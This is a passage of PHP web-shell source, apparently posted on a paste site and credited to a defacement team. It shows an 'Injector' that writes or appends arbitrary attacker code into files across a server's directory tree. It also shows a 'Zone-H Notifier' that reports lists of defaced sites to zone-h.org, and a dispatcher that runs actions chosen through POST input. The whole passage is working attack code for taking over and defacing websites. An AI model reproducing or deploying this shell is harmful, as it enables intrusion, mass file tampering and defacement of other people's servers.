  1830. if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
  1831. $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
  1832. if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
  1833. }
  1834. if(in_array(2, $depth) or in_array(3, $depth)) {
  1835. $tmp2 = array();
  1836. foreach($tmp1 as $t){
  1837. $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
  1838. $tmp2 = array_merge($tmp2, $tp2);
  1839. }
  1840. if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
  1841. }
  1842. if(in_array(3, $depth)) {
  1843. $tmp3 = array();
  1844. foreach($tmp2 as $t){
  1845. $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
  1846. $tmp3 = array_merge($tmp3, $tp3);
  1847. }
  1848. $res = array_merge($res,$tmp3);
  1849. }
  1850. return $res;
  1851. }
  1852.  
  1853. if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
  1854. $name = $_POST['name'] ? $_POST['name'] : '*';
  1855. $type = $_POST['type'] ? $_POST['type'] : 'html';
  1856. $path = $_POST['path'] ? $_POST['path'] : getcwd();
  1857. $code = $_POST['code'] ? $_POST['code'] : 'Team MaDLeeTs - AnOnGuY';
  1858. $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
  1859. $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
  1860. $dt = get_structure($path,$depth);
  1861. foreach ($dt as $d) {
  1862. if($mode == 'a') {
  1863. if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
  1864. echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
  1865. } else {
  1866. echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
  1867. }
  1868. } else {
  1869. if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
  1870. echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
  1871. } else {
  1872. echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
  1873. }
  1874. }
  1875. }
  1876. } else {
  1877. echo '<form method="post" action="">
  1878. <table align="center">
  1879. <tr>
  1880. <td>Directory : </td>
  1881. <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
  1882. </tr>
  1883. <tr>
  1884. <td class="title">Mode : </td>
  1885. <td>
  1886. <select style="width: 100px;" name="mode" class="box">
  1887. <option value="a">Apender</option>
  1888. <option value="w">Overwriter</option>
  1889. </select>
  1890. </td>
  1891. </tr>
  1892. <tr>
  1893. <td class="title">File Name & Type : </td>
  1894. <td>
  1895. <input type="text" style="width: 100px;" name="name" value="*"/>&nbsp;&nbsp;
  1896. <select style="width: 100px;" name="type" class="box">
  1897. <option value="html">HTML</option>
  1898. <option value="htm">HTM</option>
  1899. <option value="php" selected="selected">PHP</option>
  1900. <option value="asp">ASP</option>
  1901. <option value="aspx">ASPX</option>
  1902. <option value="xml">XML</option>
  1903. <option value="txt">TXT</option>
  1904. </select></td>
  1905. </tr>
  1906. <tr>
  1907. <td class="title">Code Inject Depth : </td>
  1908. <td>
  1909. <input type="checkbox" name="depth[]" value="0" checked="checked"/>&nbsp;0&nbsp;&nbsp;
  1910. <input type="checkbox" name="depth[]" value="1"/>&nbsp;1&nbsp;&nbsp;
  1911. <input type="checkbox" name="depth[]" value="2"/>&nbsp;2&nbsp;&nbsp;
  1912. <input type="checkbox" name="depth[]" value="3"/>&nbsp;3
  1913. </td>
  1914. </tr>
  1915. <tr>
  1916. <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
  1917. </tr>
  1918. <tr>
  1919. <td colspan="2" style="text-align: center;">
  1920. <input type="hidden" name="a" value="Injector">
  1921. <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
  1922. <input type="hidden" name="p1">
  1923. <input type="hidden" name="p2">
  1924. <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  1925. <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
  1926. </tr>
  1927. </table>
  1928. </form>';
  1929. }
  1930. echo '</div>';
  1931. printFooter();
  1932. }
  1933.  
  1934. function actionZHposter(){
  1935. printHeader();
  1936. echo '<h1>Zone-H Notifier</h1><div class=content>';
  1937.  
  1938. echo '<form action="" method="post" onSubmit=da2(null,null,this.p1.value,this.p2.value,this.p3.value,this.p4.value);return true;">
  1939. <input type="text" name="p1" size="40" value="AnOnGuY" /></br>
  1940. <select name="p2">
  1941. <option >--------SELECT--------</option>
  1942. <option value="1">known vulnerability (i.e. unpatched system)</option>
  1943. <option value="2" >undisclosed (new) vulnerability</option>
  1944. <option value="3" >configuration / admin. mistake</option>
  1945. <option value="4" >brute force attack</option>
  1946. <option value="5" >social engineering</option>
  1947. <option value="6" >Web Server intrusion</option>
  1948. <option value="7" >Web Server external module intrusion</option>
  1949. <option value="8" >Mail Server intrusion</option>
  1950. <option value="9" >FTP Server intrusion</option>
  1951. <option value="10" >SSH Server intrusion</option>
  1952. <option value="11" >Telnet Server intrusion</option>
  1953. <option value="12" >RPC Server intrusion</option>
  1954. <option value="13" >Shares misconfiguration</option>
  1955. <option value="14" >Other Server intrusion</option>
  1956. <option value="15" >SQL Injection</option>
  1957. <option value="16" >URL Poisoning</option>
  1958. <option value="17" >File Inclusion</option>
  1959. <option value="18" >Other Web Application bug</option>
  1960. <option value="19" >Remote administrative panel access bruteforcing</option>
  1961. <option value="20" >Remote administrative panel access password guessing</option>
  1962. <option value="21" >Remote administrative panel access social engineering</option>
  1963. <option value="22" >Attack against administrator(password stealing/sniffing)</option>
  1964. <option value="23" >Access credentials through Man In the Middle attack</option>
  1965. <option value="24" >Remote service password guessing</option>
  1966. <option value="25" >Remote service password bruteforce</option>
  1967. <option value="26" >Rerouting after attacking the Firewall</option>
  1968. <option value="27" >Rerouting after attacking the Router</option>
  1969. <option value="28" >DNS attack through social engineering</option>
  1970. <option value="29" >DNS attack through cache poisoning</option>
  1971. <option value="30" >Not available</option>
  1972. </select>
  1973. </br>
  1974. <select name="p3">
  1975. <option >--------SELECT--------</option>
  1976. <option value="1" >Heh...just for fun!</option>
  1977. <option value="2" >Revenge against that website</option>
  1978. <option value="3" >Political reasons</option>
  1979. <option value="4" >As a challenge</option>
  1980. <option value="5" >I just want to be the best defacer</option>
  1981. <option value="6" >Patriotism</option>
  1982. <option value="7" >Not available</option>
  1983. </select>
  1984. </br>
  1985. <textarea name="p4" cols="44" rows="9">List Of Domains</textarea>
  1986. <input type="submit" value="Send Now !" />
  1987. </form>';
  1988. echo "</td></tr></table></form>";
  1989.  
  1990. if($_POST['a'] == 'ZHposter')
  1991. {
  1992. ob_start();
  1993. $sub = @get_loaded_extensions();
  1994. if(!in_array("curl", $sub))
  1995. {
  1996. die('[-] Curl Is Not Supported !! ');
  1997. }
  1998.  
  1999. $hacker9 = $_POST['p1'];
  2000. $method9 = $_POST['p2'];
  2001. $neden9 = $_POST['p3'];
  2002. $site9 = $_POST['p4'];
  2003.  
  2004. if (empty($hacker9))
  2005. {
  2006. die ("[#] You Must Fill In The Attacker Name !");
  2007. }
  2008. elseif($method9 == "--------SELECT--------")
  2009. {
  2010. die("[#] You Must Select The Method !");
  2011. }
  2012. elseif($neden9 == "--------SELECT--------")
  2013. {
  2014. die("[#] You Must Select The Reason");
  2015. }
  2016. elseif(empty($site9))
  2017. {
  2018. die("[#] You Must Enter the Sites List ! ");
  2019. }
  2020.  
  2021. $i = 0;
  2022. $sites = explode("\n", $site9);
  2023. while($i < count($sites))
  2024. {
  2025.  
  2026. if(substr($sites[$i], 0, 4) != "http")
  2027. {
  2028. $sites[$i] = "http://".$sites[$i];
  2029. }
  2030. ZoneH("http://zone-h.org/notify/single", $hacker9, $method9, $neden9, $sites[$i]);
  2031. echo "Site : ".$sites[$i]." Defaced ! </br>";
  2032. ++$i;
  2033. }
  2034. echo "[#] Sites Sent To Zone-H :D !! ";
  2035.  
  2036. }
  2037. echo '</div';
  2038. printFooter();
  2039. }
  2040. if( empty($_POST['a']) )
  2041. if(isset($default_action) && function_exists('action' . $default_action))
  2042. $_POST['a'] = $default_action;
  2043. else
  2044. $_POST['a'] = 'SecInfo';
  2045. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  2046. call_user_func('action' . $_POST['a'])
  2047. ?>
Add Comment
Please, Sign In to add comment